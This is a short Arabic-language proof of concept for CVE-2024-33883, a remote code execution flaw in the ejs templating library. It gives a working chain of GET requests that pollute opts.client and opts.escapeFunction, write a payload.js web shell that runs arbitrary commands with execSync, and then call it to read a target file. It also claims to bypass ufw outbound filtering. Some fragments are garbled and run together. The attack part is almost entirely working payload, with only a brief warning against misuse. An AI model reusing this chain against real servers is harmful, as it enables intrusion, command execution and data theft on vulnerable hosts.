
إثبات المفهوم لـ CVE-2024-33883، ثغرة تنفيذ الأوامر عن بُعد في ejs.
opts.client إلى قيمة صحيحة (شرط)render()، سيقوم ejs بتشغيل قيمة opts.escapeFunction ككود JS.بناءً على [email protected]
1. ejs/lib/ejs.js - السطر 580, 636, 637
1. GET /pollute?target=client&value=1
2. GET /pollute?target=escapeFunction&value=process.mainModule.require("fs").writeFileSync('./payload.js', "function RCE( key ){ \n const result = process.mainModule.require('child_process').execSync(`${key}`); \n throw new Error(`Result leak from Error: ${result.toString()}`); \n}\n module.exports = RCE;");
3. GET /
- حقن شل ويب
4. GET /pollute?target=escapeFunction&value=process.mainModule.require("./payload.js")("cat ./Leak_target");
5. GET /
- تفعيل شل ويب
يمكن لإثبات المفهوم أعلاه تجاوز إسقاط الحزم الصادرة لجدار الحماية ufw.
جميع الإصدارات الأقل من 3.1.10 معرضة لهذا النوع من الهجمات.
هذه ثغرة RCE، ولا تسيء استخدامها على خادم حي.
render().